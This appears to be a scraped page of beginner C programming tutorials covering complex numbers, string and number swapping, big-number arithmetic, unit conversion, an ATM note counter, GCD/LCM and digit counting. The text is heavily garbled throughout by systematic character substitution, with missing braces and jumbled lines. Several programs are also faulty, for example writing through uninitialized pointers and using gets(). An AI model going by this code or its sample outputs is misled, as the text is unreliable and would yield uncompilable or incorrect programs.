A..%*%() B S-2*&A$*%() (F *'( $(MP0+X )-M2+&S -S%), $ P&(,&AM


( code# 1. Adding two comple! numbers in c 4. C program for addition of two comple! numbers 6. C program to add two comple! numbers

#include<stdio.h> int main(){ int a%/%c%d%J%!; printf("9n nter the first compleJ num/er#"); scanf("$d$d"%<a%</); printf("9n nter the second compleJ num/er#"); scanf("$d$d"%<c%<d); if(/<0) printf("$dDi9n"%aD/); else printf("d,i9n"%a,/); if(d<0) printf("dDi9n"%cDd); else printf("$d,i9n"%c,d); printf("9n&HH)G).I "); J=a,c; !=/,d; if(!>0) printf("$dDi$d"%J%D!); else printf("$d,i$d"%J%,!); printf("9n9n'N:GC&(G).I "); J=aDc; !=/Dd; if(!<0) printf("$dDi$d"%J%D!); else printf("$d,i$d"%J%,!); return 0; -

$omple# numbers program in


Comple! numbers definition (ompleJ num/ers are t+o dimensional num/ers i.e. it consists real part and ima"inar! part. (ompleJ num/ers are +ritten as a , i/ Shere a and / are real num/ers and i4 = D1 (ode 1# 1. How to use comple! numbers in c 4. C language comple! numbers #include<stdio.h> int main(){ int a%/; printf(" nter an! compleJ num/er in the format a,i/# "); scanf("$d,i$d"%<a%</); printf("Ceal part is# $d"%a ); printf("9n)ma"inar! part is# $d"%/); return 0; (ode 4# 1. C program to printf comple! numbers #include<stdio.h> int main(){ int a%/; printf(" nter the real part of compleJ num/er# "); scanf("$d"%<a); printf(" nter the ima"inar! part of compleJ num/er# "); scanf("$d"%</); printf("9n(ompleJ num/er is# $d$,di"%a%/ ); return 0; ,peration on comple! numbers: &ddition of compleJ num/er

(a , i/) , (c , id) = (a,c) , i(/,d) 'u/traction of compleJ num/ers (a , i/) D(c , id) = (a,c) , i(/Dd) @ultiplication of compleJ num/ers (a , i/) B(c , id) = (acD/d) , i(/c,ad) Hi*ison of compleJ num/ers (a , i/) R c , id) = ((ac , /d) , i(/cDad))R(c4 , d4)
*o comments+ 2ategory + Program

S'APP%), (F S*&%),S -S%), $ P&(,&AM


Swapping of strings using c programming language #include<stdio.h> int main(){ int i=0%>=0%==0; char str1[40]%str4[40]%temp[40]; puts(" nter first strin""); "ets(str1); puts(" nter second strin""); "ets(str4); printf(":efore s+apin" the strin"s are9n"); puts(str1); puts(str4); +hile(str1[i]7=8908){ temp[>,,]=str1[i,,]; temp[>]=8908; i=0%>=0; +hile(str4[i]7=8908){ str1[>,,]=str4[i,,]; str1[>]=8908; i=0%>=0;

+hile(temp[i]7=8908){ str4[>,,]=temp[i,,]; str4[>]=8908; printf("&fter s+apin" the strin"s are9n"); puts(str1); puts(str4); return 0; *o comments+ 2ategory + Program

'rite a

program for swapping of two arrays

#include<stdio.h> int main(){ int a[10]%/[10]%c[10]%i; printf(" nter Pirst arra!D>"); for(i=0;i<10;i,,) scanf("$d"%<a[i]); printf("9n nter 'econd arra!D>"); for(i=0;i<10;i,,) scanf("$d"%</[i]); printf("&rra!s /efore s+appin""); printf("9nPirst arra!D>"); for(i=0;i<10;i,,){ printf("$d"%a[i]); printf("9n'econd arra!D>"); for(i=0;i<10;i,,){ printf("$d"%/[i]); for(i=0;i<10;i,,){ RR+rite an! s+appin" techni;ue c[i]=a[i]; a[i]=/[i]; /[i]=c[i]; printf("9n&rra!s after s+appin"");

printf("9nPirst arra!D>"); for(i=0;i<10;i,,){ printf("$d"%a[i]); printf("9n'econd arra!D>"); for(i=0;i<10;i,,){ printf("$d"%/[i]); return 0;

*o comments+ 2ategory + Program

S'AP *'( /A&%A20+S '%*H(-* -S%), *H%&. -S%), $ P&(,&AM /A&%A20+


Swapping in c without temporary variable Swap # numbers without using third variable in c How to swap two numbers in c without using third variable #include<stdio.h> int main(){ int a=3%/=10; RRprocess one a=/,a; /=aD/; a=aD/; printf("a= $d

/=

$d"%a%/);

RRprocess t+o a=3;/=10; a=a,/D(/=a); printf("9na= $d RRprocess three a=3;/=10;

/=

$d"%a%/);

a=aF/; /=aF/; a=/Fa; printf("9na= $d RRprocess four a=3;/=10; a=/D`aD1; /=a,`/,1; a=a,`/,1; printf("9na= $d

/=

$d"%a%/);

/=

$d"%a%/);

RRprocess fi*e a=3%/=10; a=/,a%/=aD/%a=aD/; printf("9na= $d /= return 0;

$d"%a%/);

*o comments+ 2ategory + Program

$ program to find power of a large number


C code for power of very big numbers: #include<stdio.h> #include<strin".h> #define @&A 10000 char B multipl!(char []%char[]); int main(){ char a[@&A]; char Bc; int i%n; printf(" nter the /ase num/er# "); scanf("$s"%a); printf(" nter the po+er# "); scanf("$d"%<n); printf("Eo+er of the $sF$d# "%a%n); c = multipl!(a%"1"); for(i=0;i<nD1;i,,)

c = multipl!(a%c); +hile(Bc) if(Bc ==808) c,,; else /rea=; printf("$s"%c); return 0; char B multipl!(char num1[]%char num4[]){ static char mul[@&A]; char a[@&A]; char /[@&A]; char c[@&A]; char temp[@&A]; int la%l/; int i=0%>%==0%J=0%!; lon" int r=0; lon" sum = 0; +hile(num1[i]){ a[i] = num1[i]; i,,; a[i]= 8908; i=0; +hile(num4[i]){ /[i] = num4[i]; i,,; /[i]= 8908; la=strlen(a)D1; l/=strlen(/)D1; for(i=0;i<=la;i,,){ a[i] = a[i] D 25; for(i=0;i<=l/;i,,){ /[i] = /[i] D 25; -

for(i=l/;i>=0;iDD){ r=0; for(>=la;>>=0;>DD){ temp[=,,] = (/[i]Ba[>] , r)$10; r = (/[i]Ba[>],r)R10; temp[=,,] = r; J,,; for(! = 0;!<J;!,,){ temp[=,,] = 0; ==0; r=0; for(i=0;i<la,l/,4;i,,){ sum =0; !=0; for(>=1;><=l/,1;>,,){ if(i <= la,>){ sum = sum , temp[!,i]; ! ,= > , la , 1; c[=,,] = (sum,r) $10; r = (sum,r)R10; c[=] = r; >=0; for(i==D1;i>=0;iDD){ mul[>,,]=c[i] , 25; mul[>]=8908; return mul; Sample output: nter the /ase num/er# 3 nter the po+er# 100

Eo+er of the 3F100# L55510003441011503211L45313454L5144 01L6401263100046002LL04L50601120143

$ program for modular di"ision of large number


C code for modular division of big numbers: #include<stdio.h> #include<strin".h> #define @&A 10000 int *alidate(char []); int modulerHi*ision(char[]%unsi"ned lon"); int main(){ char di*idend[@&A]; unsi"ned lon" int di*isor%remainder; printf(" nter di*idend# "); scanf("$s"%di*idend); if(*alidate(di*idend)) return 0; printf(" nter di*isor# "); scanf("$lu"%<di*isor); remainder = modulerHi*ision(di*idend%di*isor); printf("@odular di*ision# $s $$ $lu = $lu"%di*idend%di*isor%remainder); return 0; int *alidate(char num[]){ int i=0; +hile(num[i]){ if(num[i] < 25 KK num[i]> 3L){ printf(")n*alid positi*e inte"er# $s"%num); return 1; i,,; return 0; -

int modulerHi*ision(char di*idend[]%unsi"ned lon"di *isor){ unsi"ned lon" temp=0; int i=0; +hile(di*idend[i]){ temp = tempB10 , (di*idend[i] D25); if(temp>=di*isor){ temp = temp $ di*isor; return temp; i,,;

Sample output: nter di*idend# 146231L50 nter di*isor# 31 @odular di*ision# 146231L50 $ 31 = 40
*o comments+ 2ategory + Program

.i"ision of large numbers in


C code for division of very big numbers: #include<stdio.h> #include<strin".h> #define @&A 10000 int *alidate(char []); char B di*ision(char[]%lon"); lon" int remainder; int main(){ char di*idend[@&A]%B;uotient; lon" int di*isor; printf(" nter di*idend# "); scanf("$s"%di*idend); if(*alidate(di*idend)) return 0; printf(" nter di*isor# ");

scanf("$ld"%<di*isor); ;uotient = di*ision(di*idend%di*isor); +hile(B;uotient) if(B;uotient ==25) ;uotient,,; else /rea=; printf("Yuotient# $s R $ld = $s"%di*idend%di*isor%;uotient); printf ("9nCemainder# $ld"%remainder); return 0; int *alidate(char num[]){ int i=0; +hile(num[i]){ if(num[i] < 25 KK num[i]> 3L){ printf(")n*alid positi*e inte"er# $s"%num); return 1; i,,; return 0; char B di*ision(char di*idend[]%lon" di*isor){ static char ;uotient[@&A]; lon" temp=0; int i=0%>=0; +hile(di*idend[i]){ temp = tempB10 , (di*idend[i] D25); if(temp<di*isor){ ;uotient[>,,] = 25; else{ ;uotient[>,,] = (temp R di*isor) ,

25;;

'ample output# nter di*idend# 32610046L54631015L nter di*isor# 231 Yuotient# 32610046L54631015L R 231 = 1101040060612542 Cemainder# 226

;uotient[>] = 8908; remainder = temp; return ;uotient;

i,,;

temp = temp $ di*isor;

,ther program 6source code7:


#include<stdio.h> #include<math.h> #include<stdli/.h> #include<strin".h> #define @&A 10000 char B di*ision(char []%unsi"ned lon"); int main(){ char a[@&A]; unsi"ned lon" /; char Bc; printf(" nter the di*dend # "); scanf("$s"%a); printf(" nter the di*isor # "); scanf("$lu"%</); c = di*ision(a%/); printf("9nYuotient of the di*ision # "); printf("$s"%c); return 0; char B di*ision(char a[]%unsi"ned lon" /){ static char c[@&A]; int la; int i%==0%fla"=0; unsi"ned lon" temp=1%reminder;

la=strlen(a); for(i=0;i<=la;i,,){ a[i] = a[i] D 25; temp = a[0]; reminder = a[0]; for(i=1;i<=la;i,,){ if(/<=temp){ c[=,,] = tempR/; temp = temp $ /; reminder = temp; temp =tempB10 , a[i]; fla"=1; else{ reminder = temp; temp =tempB10 , a[i]; if(fla"==1) c[=,,] = 0; for(i=0;i<=;i,,){ c[i]=c[i],25; c[i]= 8908; printf("Ceminder of di*ision# $lu "%reminder); return c; 'ample output# nter the di*dend# 33333333333333333333333333333333333333333 nter the di*isor# 3 Ceminder of di*ision# 0 Yuotient of the di*ision# 11111111111111111111111111111111111111111 @ogic of the program "ivision of large numbers Algorithm:

&s +e =no+ in c there are not an! such data t!pes +hich can store a *er! lar"e num/ers. Por eJample +e +ant to sol*e the eJpression# 204563140001162466666145010LR62410 Ium/er 204563140001162466666145010L is /e!ond the ran"e of e*en lon" int or lon" dou/le. Ghen ;uestion is ho+ to store such a /i" num/ers in ca 'olution is *er! simple i.e. usin" arra!. &/o*e pro"ram has used same lo"ic that is +e are usin" as usual lo"ic to sol*e the eJpression eJcept instead of storin" the data in the normal *aria/les +e are storin" into the arra!.
*o comments+ 2ategory + Program

Multipli ation of large numbers in


Multipli ation operation of "ery large numbers in language

#include<stdio.h> #include<math.h> #include<stdli/.h> #include<strin".h> #define @&A 10000 char B multiply(char []%char[]); int main(){ char a[@&A]; char /[@&A]; char Bc; int la%l/; int i; printf(" nter the first num/er # "); scanf("$s"%a); printf(" nter the second num/er # "); scanf("$s"%/); printf("@ultiplication of t+o num/ers # "); c = multipl!(a%/); printf("$s"%c);

char B multiply(char a[]%char /[]){ static char mul[@&A]; char c[@&A]; char temp[@&A]; int la%l/; int i%>%==0%J=0%!; long int r=0; long sum = 0; la=strlen(a)D1; l/=strlen(/)D1; for(i=0;i<=la;i,,){ a[i] = a[i] D 25; for(i=0;i<=l/;i,,){ /[i] = /[i] D 25; for(i=l/;i>=0;iDD){ r=0; for(>=la;>>=0;>DD){ temp[=,,] = (/[i]Ba[>] , r)$10; r = (/[i]Ba[>],r)R10; temp[=,,] = r; J,,; for(! = 0;!<J;!,,){ temp[=,,] = 0; ==0; r=0; for(i=0;i<la,l/,4;i,,){ sum =0; !=0; for(>=1;><=l/,1;>,,){ if(i <= la,>){ sum = sum , temp[!,i];

return 0;

! ,= > , la , 1; c[=,,] = (sum,r) $10; r = (sum,r)R10;

c[=] = r; >=0; for(i==D1;i>=0;iDD){ mul[>,,]=c[i] , 25; mul[>]=8908; return mul;

Sample output of above code: nter the first num/er# 33333333 nter the second num/er# 6666666666 @ultiplication of t+o num/ers# 153153156612512513 @ogic for multiplications of large numbers &s +e =no+ in c there are not an! such data t!pes +hich can store a *er! lar"e num/ers. Por eJample +e +ant to sol*e the eJpression#

33333333

B 6666666666

Cesult of a/o*e eJpression is *er! /i" num/er +hich /e!ond the ran"e of e*en lon" int or lon" dou/le. Ghen ;uestion is ho+ to store such a /i" num/ers in ca 'olution is *er! simple i.e. usin" arra!. &/o*e pro"ram has used same lo"ic that is +e are usin" as usual lo"ic to multipl! t+o num/ers eJcept instead of storin" the data in the normal *aria/les +e are storin" into the arra!.

Fa torial of 6CC in

Algorithm and c program to calculate factorial of '22 or large number in c #include<stdio.h> #define @&A 10000 *oid factorialof(int); *oid multipl!(int); int len"th = 0; int fact[@&A]; int main(){ int num; int i; printf(" nter an! inte"er num/er # "); scanf("$d"%<num); fact[0]=1; factorialof(num); printf("Pactorial is # "); for(i=len"th;i>=0;iDD){ printf("$d"%fact[i]); return 0; *oid factorialof(int num){ int i; for(i=4;i<=num;i,,){ multipl!(i); *oid multipl!(int num){ lon" i%r=0; int arr[@&A]; for(i=0;i<=len"th;i,,){ arr[i]=fact[i]; for(i=0;i<=len"th;i,,){ fact[i] = (arr[i]Bnum , r)$10;

r = (arr[i]Bnum , r)R10; RRprintf("$d "%r); if(r7=0){ +hile(r7=0){ fact[i]=r$10; r= rR10; i,,; len"th = iD1;

Iote# ^ou can chan"e the *alue factorial of too lar"e num/ers.

of

@&A

to

find

Pactorial of 100 from a/o*e code is# 06641413226022134151100465531411L00200L130 1541265114121530401650341L3000064400131050 212160L113131545143610L04054L446L354311534 1001151200000000000
Oo"ic for factorial of lar"e num/ers &s +e =no+ in c there are not an! such data t!pes +hich can store a *er! lar"e num/ers. Por eJample +e +ant to sol*e the eJpression# 1007 Pactorial of 100 is *er! /i" num/er +hich /e!ond the ran"e of e*en lon" int or lon" dou/le. Ghen ;uestion is ho+ to store such a /i" num/ers in ca 'olution is *er! simple i.e. usin" arra!. &/o*e pro"ram has used same lo"ic that is +e are usin" as usual lo"ic to find out the factorial of an! num/er eJcept instead of storin" the data in the normal *aria/les +e are storin" into the arra!.
*o comments+ 2ategory + Program

$()$A*+)A*%() (F *'( S*&%),S -S%), P(%)*+& %) $ P&(,&AM


#include<stdio.h> int main(){ int i=0%>=0; char Bstr1%Bstr4%Bstr6; puts(" nter first strin""); "ets(str1); puts(" nter second strin""); "ets(str4); printf(":efore concatenation the strin"s are9n"); puts(str1); puts(str4); +hile(Bstr1){ str6[i,,]=Bstr1,,; +hile(Bstr4){ str6[i,,]=Bstr4,,; str6[i]=8908; printf("&fter concatenation the strin"s are9n"); puts(str6); return 0; *o comments+ 2ategory + Program

$ program for unit on"ersion


C code to convert one unit to other unit:

#include<stdio.h> #include<math.h> int main(){ char fromNnit%toNnit; char BfNnit%BtNnit; lon" dou/le fromValue%meterValue%toValue; int po+er =0; printf("Go con*ert the 14 )nch to Poot9n"); printf("enter the the unit in the format # dc149n"); printf(" ll# a9n"); printf("Pemi# /9n"); printf("Poot# c9n"); printf(")nch# d9n"); printf("Oi"ht !ear# e9n"); printf("@etre# f9n"); printf("@ile# "9n"); printf("Iano meter# h9n"); printf("Eace# i9n"); printf("Eoint# >9n"); printf("^ard# =9n"); printf("@ili meter# l9n"); printf("(enti meter# m9n"); printf("Heci meter# n9n"); printf("Heca meter# o9n"); printf("[ecto meter# p9n"); printf("_ilo meter# ;9n"); scanf("$c$c$Of"%<fromNnit%<toNnit%<fromValue); s+itch(fromNnit){ case 8a8# meterValue = fromValue B 1.126; fNnit="ell"; /rea=; case 8/8# meterValue = fromValue ; po+er = D13; fNnit="fm"; /rea=;

case 8c8#

meterValue = fromValue B 0.6025; fNnit="ft"; /rea=; meterValue = fromValue B 0.0432; fNnit="in"; /rea=; meterValue = fromValue B po+er =13; fNnit="l!"; /rea=; meterValue = fromValue; fNnit="m"; /rea=; meterValue = fromValue B fNnit="mi"; /rea=; meterValue = fromValue; fNnit="nm"; po+er = D0; /rea=;

case 8d8#

case 8e8# 0.210L602L43505;

case 8f8#

case 8"8# 1100.622; case 8h8#

case 8i8#

meterValue = fromValue B 0.L14 ; fNnit="pace"; /rea=; meterValue = fromValue B fNnit="pt"; /rea=; meterValue = fromValue B 0.0122;

case 8>8# 0.000631230; case 8=8#

fNnit="!d"; /rea=; case 8l8# meterValue = fromValue B fNnit="mm"; /rea=; case 8m8# meterValue = fromValue B fNnit="cm"; /rea=; case 8n8# meterValue = fromValue B fNnit="deci meter"; /rea=; case 8o8# meterValue = fromValue B fNnit="deca meter"; /rea=; case 8p8# meterValue = fromValue B fNnit="hm"; /rea=; case 8;8# meterValue = fromValue B fNnit="=m"; /rea=; default# printf(")n*alid input"); eJit(0);

0.001;

0.01;

0.1;

10;

100;

1000;

s+itch(toNnit){ case 8a8# toValue = meterValueR1.126; tNnit="ell"; /rea=; case 8/8# toValue = meterValue; tNnit="fm"; /rea=;

case 8c8# case 8d8# case 8e8#

toValue = meterValueR0.6025; tNnit="ft"; /rea=; toValue = meterValueR0.0432; tNnit="in"; /rea=;

toValue = meterValueR0.210L602L43505; tNnit="l!"; /rea=; case 8f8# toValue = meterValue; tNnit="m";/rea=; case 8"8# toValue = meterValueR1100.622; tNnit="mi"; /rea=; case 8h8# toValue = meterValue; tNnit="nm"; /rea=; case 8i8# toValue = meterValueR0.L14; tNnit="pace"; /rea=; case 8>8# toValue = meterValueR0.000631230; tNnit="pt"; /rea=; case 8=8# toValue = meterValueR0.0122; tNnit="!d"; /rea=; case 8l8# toValue = meterValueR0.001; tNnit="mm"; /rea=; case 8m8# toValue = meterValueR0.01; tNnit="cm"; /rea=; case 8n8# toValue = meterValueR0.1; tNnit="deci meter"; /rea=;

case 8o8# case 8p8# case 8;8# default# -

toValue = meterValueR10; tNnit="deca meter"; /rea=; toValue = meterValueR100; tNnit="hm"; /rea=; toValue = meterValueR1000; tNnit="=m"; /rea=; printf(")n*alid input"); eJit(0);

if(po+er==0) printf("$.2Of $s = $.2Of $s"%fromValue%fNnit%toValue%tNnit); else{ +hile(to*alue > 10 printf("$.2Of $s = $.2OfB10F$d $s"%fromValue%fNnit%toValue%po+er%tNnit); return 0; -

$ program for A*M transa tions


1. C code for atm transaction while currencies are '222A*22 and '22 4. A9& c program source code 6. C program for atm machine 2. C program for atm ban5ing #include<stdio.h> int totalGhousand =1000; int totalPi*ePundred =1000; int total.ne[undred =1000; int main(){

unsi"ned lon" +ithdra+&mount; unsi"ned lon" total@one!; int thousand=0%fi*e[undred=0%one[undred=0; printf(" nter the amount in multiple of 100# "); scanf("$lu"%<+ithdra+&mount); if(+ithdra+&mount $100 7= 0){ printf(")n*alid amount;"); return 0; total@one! = totalGhousand B 1000 , totalPi*ePundredB 300 , total.ne[undredB100; if(+ithdra+&mount > total@one!){ printf("'orr!%)nsufficient mone!"); return 0; thousand = +ithdra+&mount R 1000; if(thousand > totalGhousand) thousand = totalGhousand; +ithdra+&mount = +ithdra+&mount D thousand B 1000; if (+ithdra+&mount > 0){ fi*e[undred = +ithdra+&mount R 300; if(fi*e[undred > totalPi*ePundred) fi*e[undred = totalPi*ePundred; +ithdra+&mount = +ithdra+&mount D fi*e[undred B 300; if (+ithdra+&mount > 0) one[undred = +ithdra+&mount R 100; printf("Gotal 1000 note# $d9n"%thousand); printf("Gotal 300 note# $d9n"%fi*e[undred); printf("Gotal 100 note# $d9n"%one[undred); return 0; 'ample output# nter the amount in multiple of 100# L500

Gotal 1000 note# L Gotal 300 note# 1 Gotal 100 note# 6


*o comments+ 2ategory + Program

How to pass one dimensional array to fun tion in


#include <stdio.h> #define I 3 void fstore'"(int a[]% int aUsiQe); void fretrieve'"(int a[]% int aUsiQe); void fedit'"(int a[]% int aUsiQe); int main(){ int a[I]; printf(")nput data into the matriJ#9n"); fstore1H(a% I); fretrie*e1H(a% I); fedit1H(a% I); fretrie*e1H(a% I); return 0; void fstore'"(int a[]% int n){ int i; for ( i = 0; i < n; ,,i ) scanf("$d"% <a[i]); void fretrieve'"(int a[]% int n){ int i; for ( i = 0; i < n; ,,i ) printf("$1d "% a[i]); printf("9n"); void fedit'"(int a[]% int n){ int i% ;; for ( i = 0; i < n; ,,i ){ printf("Ere*. data# $d9n nter 1 to edit 0 to s=ip."% a[i]);

scanf("$d"% <;); if ( ; == 1 ){ printf(" nter ne+ *alue# "); scanf("$d"% <a[i]); *o comments+ 2ategory + Program

'rite a program whi h passes two dimension array to fun tion


How to pass two dimensional array to a function in c #include <stdio.h> #define @ 6 #define I 3 *oid fstore4H(int a[][I]); *oid fretrie*e4H(int a[][I]); int main(){ int a[@][I]; printf(")nput data in matriJ ($d A $d)9n"% @% I); fstore4H(a); fretrie*e4H(a); return 0; *oid fstore4H(int a[][I]){ int i% >; for (i = 0; i < @; ,,i){ for (> = 0; > < I; ,,>) scanf("$d"% <a[i][>]); *oid fretrie*e4H(int a[][I]){

int i% >; for ( i = 0; i < @; ,,i ){ for ( > = 0; > < I; ,,>) printf("$1d "% a[i][>]); printf("9n"); *o comments+ 2ategory + Program

'rite a

program whi h ta=es password from user

rite a c program which ta5es password from users C source code for password: #include<stdio.h> #define @&A 300 int main(){ char pass+ord[@&A]; char p; int i=0; printf(" nter the pass+ord#"); +hile((p="etch())7= 16){ pass+ord[i,,] = p; printf("B"); pass+ord[i] = 8908; if(i<1) printf("9nSea= pass+ord"); printf("9n^ou ha*e entered# $s"%pass+ord); return 0; 'ample output# nter the pass+ord#BBBBBBB ^ou ha*e entered# f"t1Lm%
*o comments+ 2ategory + Program

'rite a s anf fun tion in senten e from user

whi h a

ept paragraph or

rite a scanf function in c programming language which accept paragraph from users #include<stdio.h> #define @&A 300 int main(){ char arr[@&A]; printf(" nter an! para"raph +hich can include spaces or ne+ line.9n"); printf("Go eJit press the ta/ =e!.9n"); scanf("$[F9t]s"%arr); printf("^ou had entered# 9n"); printf("$s"%arr); return 0; 'ample output# nter an! para"raph +hich can include spaces or ne+ line. Go eJit% press the ta/ =e!. ( is po+erful lan"ua"e. ) am learnin" c from ctechnotips./lo"spot.com ^ou had entered# ( is po+erful lan"ua"e. ) am learnin" c from ctechnotips./lo"spot.com rite a scanf function in c programming language which accept sentence from user #include<stdio.h> #define @&A 300 int main(){ char arr[@&A]; printf(" nter an! sentence +hich can include spaces.9n"); printf("Go eJit press enter =e!.9n"); scanf("$[F9n]s"%arr);

printf("^ou had entered# 9n"); printf("$s"%arr); return 0;

Sample output: nter an! sentence +hich can include spaces. Go eJit press enter =e!. @a! ) help !oua ^ou had entered# @a! ) help !oua
*o comments+ 2ategory + Program

How to get the AS$%% "alue of a hara ter in


Code to find the ASCII values of given character in c programming language: #include<stdio.h> int main(){ char c; printf(" nter an! character# "); scanf("$c"%<c); printf("&'()) *alue of "i*en character# $d"%c); return 0; 'ample output# nter an! character# a &'()) *alue of "i*en character# 0L
*o comments+ 2ategory + Program

$ program to get last two digits of year


C program to e!tract last two digits of a given year and print it #include<stdio.h> int main(){ int !!!!%!!; printf(" nter a !ear in for di"its# "); scanf("$d"%<!!!!); !! = !!!! $ 100;

printf("Oast t+o di"its of !ear is# $04d"%!!); return 0; 'ample .utput# nter a !ear in for di"its# 1053 Oast t+o di"its of !ear is# 53
*o comments+ 2ategory + Program

Find g5 5d of two number using

program

"efinition of HC. 6Highest common factorD: [P( is also called "reatest common di*isor ("cd). [(P of t+o num/ers is a lar"est positi*e num/ers +hich can di*ide /oth num/ers +ithout an! remainder. Por eJample [(P of t+o num/ers 2 and 5 is 4 since 4 is the lar"est positi*e num/er +hich can di*ed 2 as +ell as 5 +ithout a remainder. @ogic of HC. or 8C" of any two numbers: )n [(P +e tr! to find an! lar"est num/er +hich can di*ide /oth the num/er. Por eJample# [(P or ](H of 40 and 60 :oth num/er 40 and 60 are di*isi/le /! 1% 4%3%10. [(P=maJ (1% 4% 6% 2% 10) =10 Oo"ic for +ritin" pro"ram# )t is clear that an! num/er is not di*isi/le /! "reater than num/er itself. )n case of more than one num/ers% a possi/le maJimum num/er +hich can di*ide all of the num/ers must /e minimum of all of that num/ers. Por eJample# 10% 40% and 60 @in (10% 40% 60) =10 can di*ide all there num/ers. 'o +e +ill ta=e one for loop +hich +ill start form min of the num/ers and +ill stop the loop +hen it /ecame one% since all num/ers are di*isi/le /! one. )nside for loop +e +ill +rite one if conditions +hich +ill chec= di*isi/ilit! of /oth the num/ers. Ero"ram#

rite a c program for finding gcd 6greatest common divisor7 of two given numbers #include<stdio.h> int main(){ int J%!%m%i; printf(")nsert an! t+o num/er# "); scanf("$d$d"%<J%<!); if(J>!) m=!; else m=J; for(i=m;i>=1;iDD){ if(J$i==0<<!$i==0){ printf("9n[(P of t+o num/er is # $d"%i) ; /rea=; return 0; .ther lo"ic # HC. 6Highest common factor7 with two numbers in c #include<stdio.h> int main(){ int n1%n4; printf("9n nter t+o num/ers#"); scanf("$d $d"%<n1%<n4); +hile(n17=n4){ if(n1>=n4D1) n1=n1Dn4; else program

HC.

n4=n4Dn1; printf("9n](H=$d"%n1); return 0;

program with multiple numbers in c

#include<stdio.h> int main(){ int J%!=D1; printf(")nsert num/ers. Go eJit insert Qero# "); +hile(1){ scanf("$d"%<J); if(J<1) /rea=; else if(!==D1) !=J; else if (J<!) !="cd(J%!); else !="cd(!%J); printf("](H is $d"%!); return 0; int "cd(int J%int !){ int i; for(i=J;i>=1;iDD){ if(J$i==0<<!$i==0){ /rea=; return i; -

'rite a

program to find out 05$5M5 of two numbers

"efinition of @C& 6@east common multiple7: O(@ of t+o inte"ers is a smallest positi*e inte"er +hich is multiple of /oth inte"ers that it is di*isi/le /! the /oth of the num/ers. Por eJample# O(@ of t+o inte"ers 4 and 3 is 10 since 10 is the smallest positi*e num/ers +hich is di*isi/le /! /oth 4 and 3.

@C& program in c with two numbers :


#include<stdio.h> int main(){ int n1%n4%J%!; printf("9n nter t+o num/ers#"); scanf("$d $d"%<n1%<n4); J=n1%!=n4; +hile(n17=n4){ if(n1>n4) n1=n1Dn4; else n4=n4Dn1; printf("O.(.@=$d"%JB!Rn1); return 0; -

@C& program in c with two numbers 6,ther logic7 :


#include<stdio.h> int lcm(int%int); int main(){ int a%/%l; printf(" nter an! t+o positi*e inte"ers "); scanf("$d$d"%<a%</); if(a>/) else l = lcm(a%/); l = lcm(/%a);

printf("O(@ of t+o inte"ers is $d"%l); return 0;

int lcm(int a%int /){ int temp = a; +hile(1){ if(temp $ / == 0 << temp $ a == 0) /rea=; temp,,; return temp; -

@C& program in c with multiple numbers :


#include<stdio.h> int lcm(int%int); int main(){ int a%/=1; printf(" nter positi*e inte"ers. Go ;uit press Qero."); +hile(1){ scanf("$d"%<a); if(a<1) /rea=; else if(a>/) / = lcm(a%/); else / = lcm(/%a); printf("O(@ is $d"%/); return 0;

int lcm(int a%int /){ int temp = a; +hile(1){ if(temp $ / == 0 << temp $ a == 0) /rea=;

return temp;

temp,,;

*o comments+ 2ategory + Program

$ program to ount number of digits in a number


(ode 1# Count the number of digits in c #include<stdio.h> int main(){ int num%count=0; printf(" nter a num/er# "); scanf("$d"%<num); +hile(num){ num=numR10; count,,; printf("Gotal di"its is# $d"%count); return 0; 'ample output# nter a num/er# 46 Gotal di"its is# 4 (ode 4# C code to count the total number of digit using for loop #include<stdio.h> int main(){ int num%count=0; printf(" nter a num/er# "); scanf("$d"%<num); for(;num7=0;num=numR10) count,,; printf("Gotal di"its is# $d"%count); return 0;

'ample output# nter a num/er# 231 Gotal di"its is# 6 (ode 6# Count the digits of a given number in c language using recursion #include<stdio.h> int countHi"its(num); int main(){ int num%count; printf(" nter a num/er# "); scanf("$d"%<num); count = countHi"its(num); printf("Gotal di"its is# $d"%count); return 0; int countHi"its(int num){ static int count=0; if(num7=0){ count,,; countHi"its(numR10); return count; 'ample output# nter a num/er# 146231L Gotal di"its is# L
*o comments+ 2ategory + Program

Split number into digits in

programming

-!tract digits from integer in c language #include<stdio.h> int main(){ int num%temp%factor=1; printf(" nter a num/er# ");

scanf("$d"%<num); temp=num; +hile(temp){ temp=tempR10; factor = factorB10; printf(" ach di"its of "i*en num/er are# "); +hile(factor>1){ factor = factorR10; printf("$d "%numRfactor); num = num $ factor; return 0;

'ample output# nter a num/er# 146 ach di"its of "i*en num/er are# 1 4 6
*o comments+ 2ategory + Program

$ program for swapping of two numbers


Code for swapping in c #include<stdio.h> int main(){ int a%/%temp; printf(" nter an! t+o inte"ers# "); scanf("$d$d"%<a%</); printf(":efore s+appin"# a = $d% /=$d"%a%/); temp = a; a = /; / = temp; printf("9n&fter s+appin"# a = $d% /=$d"%a%/); return 0;

C program for swapping of two numbers using pointers #include<stdio.h>

int main(){ int a%/; int Bptra%Bptr/; int Btemp; printf(" nter an! t+o inte"ers# "); scanf("$d$d"%<a%</); printf(":efore s+appin"# a = $d% /=$d"%a%/); ptra = <a; ptr/ = </; temp = ptra; Bptra = Bptr/; Bptr/ = Btemp; printf("9n&fter s+appin"# a = $d% /=$d"%a%/); return 0; 'ample output# nter an! t+o inte"ers# 3 10 :efore s+appin"# a = 3% /=10 &fter s+appin"# a = 10% /=10 Swapping program in c using function #include<stdio.h> *oid s+ap(int B%int B); int main(){ int a%/; printf(" nter an! t+o inte"ers# "); scanf("$d$d"%<a%</); printf(":efore s+appin"# a = $d% /=$d"%a%/); s+ap(<a%</); printf("9n&fter s+appin"# a = $d% /=$d"%a%/); return 0;

*oid s+ap(int Ba%int B/){ int Btemp; temp = a; Ba=B/; B/=Btemp; 'ample output#

nter an! t+o inte"ers# 6 1 :efore s+appin"# a = 6% /=1 &fter s+appin"# a = 1% /=1
*o comments+ 2ategory + Program

Program in

to print 6 to 6CC without using loop

#include<stdio.h> int main(){ int num = 1; print(num); return 0; int print(num){ if(num<=100){ printf("$d "%num); print(num,1); .utput# 'ample output# 1 4 6 2 3 1 L 5 0 10 11 14 16 41 44 46 42 43 41 4L 45 40 60 65 60 20 21 24 26 22 23 21 2L 33 31 3L 35 30 10 11 14 16 12 L4 L6 L2 L3 L1 LL L5 L0 50 51 50 00 01 04 06 02 03 01 0L 05
*o comments+ 2ategory + Program

12 61 25 13 54 00

13 11 64 66 20 30 11 1L 56 52 100

1L 62 31 15 53

15 63 34 10 51

10 61 36 L0 5L

40 6L 32 L1 55

How to on"ert string to int without using library fun tions in


